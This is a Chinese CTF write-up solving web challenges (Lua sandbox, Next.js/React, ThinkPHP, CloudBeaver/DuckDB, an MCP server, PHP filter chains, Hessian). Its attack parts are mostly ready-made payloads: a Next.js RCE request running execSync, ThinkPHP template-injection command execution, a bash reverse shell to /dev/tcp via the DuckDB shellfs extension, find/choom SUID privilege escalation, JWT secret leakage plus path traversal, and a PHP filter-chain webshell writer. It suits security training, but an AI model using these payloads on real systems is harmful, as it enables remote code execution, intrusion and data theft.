解出数9/12，netwatcher，Labyrinth，newrule，这里就记录一下我做的题目

easy-lua#

用下面代码探查当前Lua环境的全局变量和可用库

1
for k in pairs(_G) do print(k) end           -- 先看全局
2
print(load)                                  -- 是否可用
3
print(debug, package, jit, ffi)              -- 库存在否

返回如下结果

1
package
2
_G
3
_VERSION
4
_GOPHER_LUA_VERSION
5
collectgarbage
6
getfenv
7
load
8
loadstring
9
next
10
print
11
_printregs
12
unpack
13
assert
14
getmetatable
15
loadfile
16
setmetatable
17
type
18
xpcall
19
module
20
rawequal
21
rawset
22
setfenv
23
tonumber
24
tostring
25
require
26
dofile
27
error
28
pcall
29
rawget
30
select
31
newproxy
32
ipairs
33
pairs
34
table
35
string
36
math
37
S3cr3t0sEx3cFunc
38
getFileContent
39
getFileList
40
function: 0x9f0c2a0
41
nil table: 0x9e52c30 nil nil

有一个特别的函数，直接执行：

1
print(S3cr3t0sEx3cFunc("id"))
2
print(S3cr3t0sEx3cFunc("cat /flag"))

react#

直接打最近的react cve即可

exp

1
POST / HTTP/1.1
2
Host: web-34ec9604d5.challenge.xctf.org.cn
3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
4
Next-Action: x
5
X-Nextjs-Request-Id: b5dce965
6
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
7
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
8
Content-Length: 740
9

10
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
11
Content-Disposition: form-data; name="0"
12

13
{
14
  "then": "$1:__proto__:then",
15
  "status": "resolved_model",
16
  "reason": -1,
17
  "value": "{\"then\":\"$B1337\"}",
18
  "_response": {
19
    "_prefix": "var res=process.mainModule.require('child_process').execSync('cat /flag',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
20
    "_chunks": "$Q2",
21
    "_formData": {
22
      "get": "$1:constructor:constructor"
23
    }
24
  }
25
}
26
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
27
Content-Disposition: form-data; name="1"
28

29
"$@0"
30
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
31
Content-Disposition: form-data; name="2"
32

33
[]
34
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

renderme#

thinkphp8.1.3，考点应该是模版注入，测试了一下 waf了下面的字符

1
( ) ' " php ` eval exec include

试出来可以用require

1
GET /?0=/etc/passwd&name={{urlenc(<?=1;require $_GET[0]?>)}} HTTP/1.1
2
Host: web-348227f3a2.challenge.xctf.org.cn
3
Accept-Language: zh-CN,zh;q=0.9
4
Upgrade-Insecure-Requests: 1
5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7
Accept-Encoding: gzip, deflate

不过除了etc/passwd，无论怎么require其他都是报语法错误，神秘

后面发现tp的模版语法可以绕过这种过滤，文档：https://doc.thinkphp.cn/@think-template/shiyonghanshu.html

1.00

tp的模版语法还支持.代替[]获取键值

1.00

那就可以用下面的payload绕过了

1
GET /?name={$_GET.p|$_GET.f}&f=system&p=id HTTP/1.1
2
Host: web-348227f3a2.challenge.xctf.org.cn
3
Accept-Language: zh-CN,zh;q=0.9
4
Upgrade-Insecure-Requests: 1
5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7
Accept-Encoding: gzip, deflate

然后用choom来suid提权读flag

1
GET /?name={$_GET.p|$_GET.f}&f=system&p={{urlenc(/usr/bin/choom -n 0 -- /bin/cat /root/flag)}} HTTP/1.1
2
Host: web-348227f3a2.challenge.xctf.org.cn
3
Accept-Language: zh-CN,zh;q=0.9
4
Upgrade-Insecure-Requests: 1
5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7
Accept-Encoding: gzip, deflate

Dam Breach#

一个开源的CloudBeaver数据库管理工具版本为25.3.0.202512010952，最新版

问ai可以发现duckdb是一个嵌入式数据库，连接后可以任意读文件

连接的jdbc如下：

1
jdbc:duckdb::memory:

然后就开始找重要的文件了

1
# 列目录文件
2
SELECT * FROM glob('/opt/cloudbeaver/workspace/*');
3
SELECT * FROM glob('/opt/cloudbeaver/workspace/**/*');
4
SELECT * FROM glob('/opt/cloudbeaver/**/*.json');
5
SELECT * FROM glob('/opt/cloudbeaver/**/*.conf');
6
# 读文件
7
SELECT * FROM read_text('/opt/cloudbeaver/conf/logback.xml');

列目录支持*和**通配符

记录一下查到的配置文件

1
/opt/cloudbeaver/workspace/.data/cb.h2v2.dat.mv.db
2

3
/opt/cloudbeaver/workspace/.data/cb.h2v2.dat.trace.db
4

5
/opt/cloudbeaver/workspace/.data/.cloudbeaver.runtime.conf

读取了runtime.conf结果如下：

1
{
2
  "server": {
3
    "serverName": "CloudBeaver CE Server",
4
    "serverURL": "http://localhost:8978",
5
    "expireSessionAfterPeriod": "${CLOUDBEAVER_EXPIRE_SESSION_AFTER_PERIOD:1800000}",
6
    "forceHttps": "${CLOUDBEAVER_FORCE_HTTPS:false}",
7
    "supportedHosts": [],
8
    "bindSessionToIp": "${CLOUDBEAVER_BIND_SESSION_TO_IP:disable}",
9
    "productSettings": {
10
      "core.localization.language": "${CLOUDBEAVER_CORE_LOCALIZATION:en}",
11
      "core.theming.theme": "${CLOUDBEAVER_CORE_THEMING_THEME:system}",
12
      "plugin.log-viewer.disabled": "${CLOUDBEAVER_LOG_VIEWER_DISABLED:false}",
13
      "plugin.log-viewer.logBatchSize": "${CLOUDBEAVER_LOG_VIEWER_LOG_BATCH_SIZE:1000}",
14
      "plugin.log-viewer.maxLogRecords": "${CLOUDBEAVER_LOG_VIEWER_MAX_LOG_RECORDS:2000}",
15
      "plugin.sql-editor.autoSave": "${CLOUDBEAVER_SQL_EDITOR_AUTOSAVE:true}",
16
      "plugin.sql-editor.disabled": "${CLOUDBEAVER_SQL_EDITOR_DISABLED:false}",
17
      "plugin.sql-editor.maxFileSize": "${CLOUDBEAVER_SQL_EDITOR_MAX_FILE_SIZE:10240}",
18
      "sql.proposals.insert.table.alias": "${CLOUDBEAVER_SQL_PROPOSALS_INSERT_TABLE_ALIAS:PLAIN}",
19
      "SQLEditor.ContentAssistant.experimental.mode": "${CLOUDBEAVER_SQL_EDITOR_CONTENT_ASSISTANT_EXPERIMENTAL_MODE:NEW}"
20
    },
21
    "database": {
22
      "driver": "${CLOUDBEAVER_DB_DRIVER:h2_embedded_v2}",
23
      "url": "${CLOUDBEAVER_DB_URL:jdbc:h2:/opt/cloudbeaver/workspace/.data/cb.h2v2.dat}",
24
      "user": "${CLOUDBEAVER_DB_USER:cb-data}",
25
      "password": "${CLOUDBEAVER_DB_PASSWORD:rdZNnZiF}",
26
      "initialDataConfiguration": "${CLOUDBEAVER_DB_INITIAL_DATA:conf/initial-data.conf}",
27
      "backupEnabled": "${CLOUDBEAVER_DB_BACKUP_ENABLED:true}",
28
      "pool": {
29
        "minIdleConnections": "${CLOUDBEAVER_DB_MIN_IDLE_CONNECTIONS:4}",
30
        "maxIdleConnections": "${CLOUDBEAVER_DB_MAX_IDLE_CONNECTIONS:10}",
31
        "maxConnections": "${CLOUDBEAVER_DB_MAX_CONNECTIONS:100}",
32
        "validationQuery": "${CLOUDBEAVER_DB_VALIDATION_QUERY:SELECT 1}"
33
      }
34
    },
35
    "sm": {
36
      "passwordPolicy": {
37
        "minLength": "${CLOUDBEAVER_POLICY_MIN_LENGTH:8}",
38
        "minNumberCount": "${CLOUDBEAVER_POLICY_MIN_NUMBER_COUNT:1}",
39
        "minSymbolCount": "${CLOUDBEAVER_POLICY_MIN_SYMBOL_COUNT:0}",
40
        "requireMixedCase": "${CLOUDBEAVER_POLICY_REQUIRE_MIXED_CASE:true}"
41
      }
42
    }
43
  },
44
  "app": {
45
    "anonymousAccessEnabled": "${CLOUDBEAVER_APP_ANONYMOUS_ACCESS_ENABLED:true}",
46
    "supportsCustomConnections": "${CLOUDBEAVER_APP_SUPPORTS_CUSTOM_CONNECTIONS:true}",
47
    "publicCredentialsSaveEnabled": "${CLOUDBEAVER_APP_PUBLIC_CREDENTIALS_SAVE_ENABLED:true}",
48
    "adminCredentialsSaveEnabled": "${CLOUDBEAVER_APP_ADMIN_CREDENTIALS_SAVE_ENABLED:true}",
49
    "enableReverseProxyAuth": false,
50
    "forwardProxy": "${CLOUDBEAVER_APP_FORWARD_PROXY:false}",
51
    "linkExternalCredentialsWithUser": true,
52
    "redirectOnFederatedAuth": false,
53
    "resourceManagerEnabled": "${CLOUDBEAVER_APP_RESOURCE_MANAGER_ENABLED:true}",
54
    "secretManagerEnabled": false,
55
    "showReadOnlyConnectionInfo": "${CLOUDBEAVER_APP_READ_ONLY_CONNECTION_INFO:false}",
56
    "grantConnectionsAccessToAnonymousTeam": "${CLOUDBEAVER_APP_GRANT_CONNECTIONS_ACCESS_TO_ANONYMOUS_TEAM:false}",
57
    "systemVariablesResolvingEnabled": "${CLOUDBEAVER_SYSTEM_VARIABLES_RESOLVING_ENABLED:false}",
58
    "resourceQuotas": {
59
      "resourceManagerFileSizeLimit": "${CLOUDBEAVER_RESOURCE_QUOTA_RESOURCE_MANAGER_FILE_SIZE_LIMIT:500000}",
60
      "sqlMaxRunningQueries": "${CLOUDBEAVER_RESOURCE_QUOTA_SQL_MAX_RUNNING_QUERIES:100}",
61
      "sqlResultSetRowsLimit": "${CLOUDBEAVER_RESOURCE_QUOTA_SQL_RESULT_SET_ROWS_LIMIT:100000}",
62
      "sqlTextPreviewMaxLength": "${CLOUDBEAVER_RESOURCE_QUOTA_SQL_TEXT_PREVIEW_MAX_LENGTH:4096}",
63
      "sqlBinaryPreviewMaxLength": "${CLOUDBEAVER_RESOURCE_QUOTA_SQL_BINARY_PREVIEW_MAX_LENGTH:261120}"
64
    },
65
    "defaultNavigatorSettings": {},
66
    "enabledFeatures": [],
67
    "enabledAuthProviders": [
68
      "local"
69
    ],
70
    "enabledDrivers": [
71
      "generic:duckdb_jdbc"
72
    ],
73
    "disabledDrivers": [
74
      "h2:h2_embedded",
75
      "h2:h2_embedded_v2",
76
      "sqlite:sqlite_jdbc",
77
      "db2:db2"
78
    ]
79
  }
80
}

这里只开放了duckdb，然后有h2的账号密码，尝试直接修改rutime文件看能不能热重启并更新文件，修改数据库限制这里就行

1
COPY (SELECT '你的完整修改后的JSON字符串') TO '/opt/cloudbeaver/workspace/.data/.cloudbeaver.runtime.conf';

可惜失败了，无法热重启

发现新的切入点，参考这篇文章：http://www.360doc.com/content/25/1005/08/77981587_1162490094.shtml

可以安装shellfs扩展，官方的地址：https://github.com/query-farm/shellfs，https://duckdb.org/community_extensions/extensions/shellfs

1
INSTALL shellfs FROM community;
2
LOAD shellfs;

加载扩展之后就可以执行命令了，但是我执行一些其他命令输出就会炸掉靶机，然后经过测试可以出网，这里就直接弹shell

1
-- 这个扩展想要获得结果就是在末尾加一个 ｜
2
SELECT * FROM read_text('bash -c "bash -i >& /dev/tcp/ip/1389 0>&1" |');

然后find提权读/root下面的flag即可

1
find /etc/passwd -exec cat /root/flag \;

nettool#

在验证密钥处

1
def verify_token(token: str) -> TokenData:
2
    print(f"Token to verify: {token}")
3

4
    try:
5
        SECRET_KEY = "secretkey" if len(token) <= 2048 else base64.b64decode(token[:2048])
6
    except Exception:
7
        raise HTTPException(
8
            status_code=status.HTTP_500_INTERNAL_SERVER_ERROR,
9
            detail=f"Token custom check failed: {traceback.format_exc()}"
10
            )

我们可以这里让他报错泄漏真实jwt密钥，只要超过2048长度，使base64解码报错即可真实密钥如下：

1
RDbiBrgdR#CrdZVW

然后访问他的9000端口，有个mcp

首先要发下面的header

1
{
2
  "Accept": "application/json, text/event-stream",
3
  "Content-Type": "application/json",
4
  "mcp-session-id": "0296dcd8f8f14a9e80a1aa93cdff0a1c"
5
}

然后先initialize

1
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","clientInfo":{"name":"nettool","version":"1.0"},"capabilities":{"tools":{},"resources":{},"prompts":{}}}}

返回如下结果

1
Status: 200
2

3
Headers:
4
date: Sat, 20 Dec 2025 18:13:37 GMT
5
server: uvicorn
6
cache-control: no-cache, no-transform
7
connection: keep-alive
8
content-type: text/event-stream
9
mcp-session-id: 0296dcd8f8f14a9e80a1aa93cdff0a1c
10
x-accel-buffering: no
11
transfer-encoding: chunked
12

13
Body:
14
event: message
15
data: {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2024-11-05","capabilities":{"experimental":{},"prompts":{"listChanged":true},"resources":{"subscribe":false,"listChanged":true},"tools":{"listChanged":true}},"serverInfo":{"name":"MyServer","version":"2.13.3"}}}

然后列出工具

1
{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}

返回结果如下

1
Status: 200
2

3
Headers:
4
date: Sat, 20 Dec 2025 18:15:25 GMT
5
server: uvicorn
6
cache-control: no-cache, no-transform
7
connection: keep-alive
8
content-type: text/event-stream
9
mcp-session-id: 0296dcd8f8f14a9e80a1aa93cdff0a1c
10
x-accel-buffering: no
11
transfer-encoding: chunked
12

13
Body:
14
event: message
15
data: {"jsonrpc":"2.0","id":2,"result":{"tools":[{"name":"welcome_message","description":"Returns a welcome message for new hackers.","inputSchema":{"properties":{},"type":"object"},"outputSchema":{"properties":{"result":{"type":"string"}},"required":["result"],"type":"object","x-fastmcp-wrap-result":true},"_meta":{"_fastmcp":{"tags":[]}}},{"name":"calculate_sum","description":"Calculates the sum of two integers.","inputSchema":{"properties":{"a":{"type":"integer"},"b":{"type":"integer"}},"required":["a","b"],"type":"object"},"outputSchema":{"properties":{"result":{"type":"integer"}},"required":["result"],"type":"object","x-fastmcp-wrap-result":true},"_meta":{"_fastmcp":{"tags":[]}}}]}}

没发现有用的，再看resources/list

1
{"jsonrpc":"2.0","id":3,"method":"resources/list","params":{}}

结果如下

1
Status: 200
2

3
Headers:
4
date: Sat, 20 Dec 2025 18:16:54 GMT
5
server: uvicorn
6
cache-control: no-cache, no-transform
7
connection: keep-alive
8
content-type: text/event-stream
9
mcp-session-id: 0296dcd8f8f14a9e80a1aa93cdff0a1c
10
x-accel-buffering: no
11
transfer-encoding: chunked
12

13
Body:
14
event: message
15
data: {"jsonrpc":"2.0","id":3,"result":{"resources":[]}}

发现没什么用

再看看prompts/list发现隐藏提示词

1
Body:
2
event: message
3
data: {"jsonrpc":"2.0","id":2,"result":{"prompts":[{"name":"where_is_flag","description":"Where is the flag located?","arguments":[{"name":"name","required":true}],"_meta":{"_fastmcp":{"tags":[]}}}]}}

接着获取模版具体内容

1
{
2
  "jsonrpc": "2.0",
3
  "id": 5,
4
  "method": "prompts/get",
5
  "params": {
6
    "name": "where_is_flag",
7
    "arguments": {
8
      "name": "admin"
9
    }
10
  }
11
}

返回如下

1
Status: 200
2

3
Headers:
4
date: Sat, 20 Dec 2025 18:30:52 GMT
5
server: uvicorn
6
cache-control: no-cache, no-transform
7
connection: keep-alive
8
content-type: text/event-stream
9
mcp-session-id: 0296dcd8f8f14a9e80a1aa93cdff0a1c
10
x-accel-buffering: no
11
transfer-encoding: chunked
12

13
Body:
14
event: message
15
data: {"jsonrpc":"2.0","id":5,"result":{"description":"Where is the flag located?","messages":[{"role":"user","content":{"type":"text","text":"'admin, flag is in /root/1ffflllaaaggg'!"}}]}}

emmm然后用resources读，但是有个隐藏模版要这样看

1
{
2
  "jsonrpc": "2.0",
3
  "id": 13,
4
  "method": "resources/templates/list"
5
}

结果如下：

1
Body:
2
event: message
3
data: {"jsonrpc":"2.0","id":13,"result":{"resourceTemplates":[{"name":"get_file_base64","uriTemplate":"base64://tmp/{filename}","description":"Get the /tmp file in base64 encoding.","mimeType":"text/plain","_meta":{"_fastmcp":{"tags":[]}}}]}}

输入下面payload读flag即可，要url编码一下来绕过

1
{
2
  "jsonrpc": "2.0",
3
  "id": 17,
4
  "method": "resources/read",
5
  "params": {
6
    "uri": "base64://tmp/%2e%2e%2f%2e%2e%2froot%2f1ffflllaaaggg"
7
  }
8
}

insph#

一个php的应用，参考这个文章：https://forum.butian.net/share/2791

打filterchain直接写shell，filterchain的工具地址：https://github.com/synacktiv/php_filter_chain_generator

生成filterchain的命令

1
python3 php_filter_chain_generator.py --chain '<?php eval($_GET[1]); ?>  '

然后传参数

1
GET /?data=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=shell.php HTTP/1.1
2
Host: web-f1658b86d2.challenge.xctf.org.cn
3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
4
Accept: */*
5
Referer: http://web-f1658b86d2.challenge.xctf.org.cn/
6
Accept-Encoding: gzip, deflate
7
Accept-Language: zh-CN,zh;q=0.9
8
Cookie: PHPSESSID=54fe02e065e63cc949a316eae1006d83

再访问shell.php拿flag即可

Labyrinth(复现)#

一道Hessian反序列化的题目，刚好Hessian忘了差不多，回顾一下

可以看到这里的路由就是一个Hessian反序列化，然后允许没有实现Serializable接口的类也能反序列化

再看看依赖

这里用了一个4.0.5的hessian-lite依赖，这个依赖是最新的，然后题目还有一个自定义的代理类

1
package org.example.labyrinth.model;
2

3
import java.lang.reflect.InvocationHandler;
4
import java.lang.reflect.Method;
5
import java.lang.reflect.Proxy;
6

7
/* loaded from: Labyrinth-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/org/example/labyrinth/model/CustomProxy.class */
8
public class CustomProxy extends Proxy implements Comparable<Object> {
9
    private Method m3;
10

11
    public CustomProxy(InvocationHandler h) {
12
        super(h);
13
    }
14

15
    public CustomProxy(InvocationHandler h, Method m) {
16
        super(h);
17
        this.m3 = m;
18
    }
19

20
    @Override // java.lang.Comparable
21
    public int compareTo(Object o) {
22
        try {
23
            if ("compareTo".equals(this.m3.getName())) {
24
                return ((Integer) ((Proxy) this).h.invoke(this, this.m3, new Object[]{o})).intValue();
25
            }
26
            throw new UnsupportedOperationException("The bound method m3 is not 'compareTo', but: " + this.m3.getName());
27
        } catch (Error | RuntimeException e) {
28
            throw e;
29
        } catch (Throwable e2) {
30
            throw new RuntimeException(e2);
31
        }
32
    }
33
}

这里限制了m3的方法名一定需要为compareTo，估计可以在链子当中起到一个连接作用

jar-analyzer分析#

这里尝试用jar-analyzer这个工具来分析，刚好学习一下工具的使用，一些配置相关的就看文档就行了，也比较简单

hessian反序列化的起始点一般都是

HashMap的key.hashCode、key.equals
TreeMap的key.compareTo

这个没什么问题，hessian-lite中自带的黑名单如下

1
bsh.
2
ch.qos.logback.core.db.
3
clojure.
4
com.alibaba.citrus.springext.support.parser.
5
com.alibaba.citrus.springext.util.SpringExtUtil.
6
com.alibaba.druid.pool.
7
com.alibaba.hotcode.internal.org.apache.commons.collections.functors.
8
com.alipay.custrelation.service.model.redress.
9
com.alipay.oceanbase.obproxy.druid.pool.
10
com.caucho.config.types.
11
com.caucho.hessian.test.
12
com.caucho.naming.
13
com.ibm.jtc.jax.xml.bind.v2.runtime.unmarshaller.
14
com.ibm.xltxe.rnm1.xtq.bcel.util.
15
com.mchange.v2.c3p0.
16
com.mysql.jdbc.util.
17
com.rometools.rome.feed.
18
com.sun.corba.se.impl.
19
com.sun.corba.se.spi.orbutil.
20
com.sun.jndi.rmi.
21
com.sun.jndi.toolkit.
22
com.sun.org.apache.bcel.internal.
23
com.sun.org.apache.xalan.internal.
24
com.sun.rowset.
25
com.sun.xml.internal.bind.v2.
26
com.taobao.vipserver.commons.collections.functors.
27
groovy.lang.
28
java.awt.
29
java.beans.
30
java.lang.ProcessBuilder
31
java.lang.Runtime
32
java.rmi.server.
33
java.security.
34
java.util.ServiceLoader
35
java.util.StringTokenizer
36
javassist.bytecode.annotation.
37
javassist.tools.web.Viewer
38
javassist.util.proxy.
39
javax.imageio.
40
javax.imageio.spi.
41
javax.management.
42
javax.media.jai.remote.
43
javax.naming.
44
javax.script.
45
javax.sound.sampled.
46
javax.swing.
47
javax.xml.transform.
48
net.bytebuddy.dynamic.loading.
49
oracle.jdbc.connector.
50
oracle.jdbc.pool.
51
org.apache.aries.transaction.jms.
52
org.apache.bcel.util.
53
org.apache.carbondata.core.scan.expression.
54
org.apache.commons.beanutils.
55
org.apache.commons.codec.binary.
56
org.apache.commons.collections.functors.
57
org.apache.commons.collections4.functors.
58
org.apache.commons.codec.
59
org.apache.commons.configuration.
60
org.apache.commons.configuration2.
61
org.apache.commons.dbcp.datasources.
62
org.apache.commons.dbcp2.datasources.
63
org.apache.commons.fileupload.disk.
64
org.apache.ibatis.executor.loader.
65
org.apache.ibatis.javassist.bytecode.
66
org.apache.ibatis.javassist.tools.
67
org.apache.ibatis.javassist.util.
68
org.apache.ignite.cache.
69
org.apache.log.output.db.
70
org.apache.log4j.receivers.db.
71
org.apache.myfaces.view.facelets.el.
72
org.apache.openjpa.ee.
73
org.apache.openjpa.ee.
74
org.apache.shiro.
75
org.apache.tomcat.dbcp.
76
org.apache.velocity.runtime.
77
org.apache.velocity.
78
org.apache.wicket.util.
79
org.apache.xalan.xsltc.trax.
80
org.apache.xbean.naming.context.
81
org.apache.xpath.
82
org.apache.zookeeper.
83
org.aspectj.
84
org.codehaus.groovy.runtime.
85
org.datanucleus.store.rdbms.datasource.dbcp.datasources.
86
org.dom4j.
87
org.eclipse.jetty.util.log.
88
org.geotools.filter.
89
org.h2.value.
90
org.hibernate.tuple.component.
91
org.hibernate.type.
92
org.jboss.ejb3.
93
org.jboss.proxy.ejb.
94
org.jboss.resteasy.plugins.server.resourcefactory.
95
org.jboss.weld.interceptor.builder.
96
org.junit.
97
org.mockito.internal.creation.cglib.
98
org.mortbay.log.
99
org.mockito.
100
org.thymeleaf.
101
org.quartz.
102
org.springframework.aop.aspectj.
103
org.springframework.beans.BeanWrapperImpl$BeanPropertyHandler
104
org.springframework.beans.factory.
105
org.springframework.expression.spel.
106
org.springframework.jndi.
107
org.springframework.orm.
108
org.springframework.transaction.
109
org.yaml.snakeyaml.tokens.
110
ognl.
111
pstore.shaded.org.apache.commons.collections.
112
sun.print.
113
sun.rmi.server.
114
sun.rmi.transport.
115
weblogic.ejb20.internal.
116
weblogic.jms.common.

根据前面自定义动态代理的compareTo，链子的起始就是TreeMap再到CustomProxy，那现在我们的目的就是找一个InvocationHandler，看他的invoke方法能不能对我们传入的object进行利用

我们用jar-analyzer搜索一下看看

这里直接将hessian自带的黑名单放进去用于排除，然后用jar-analyzer的search模式去搜索invoke方法定义

不过这里有很多个invoke，这里就直接看网上师傅的wp，不一个个试了，基本走的是xstream的一条链子，可以看https://research.qianxin.com/archives/3018

这里中间的利用链如下：

1
sun.tracing.ProviderSkeleton#invoke
2
    sun.tracing.ProbeSkeleton#uncheckedTrigger
3
          sun.tracing.dtrace.DTraceProbe#uncheckedTrigger
4
            this.implementing_method.invoke(this.proxy, var1);

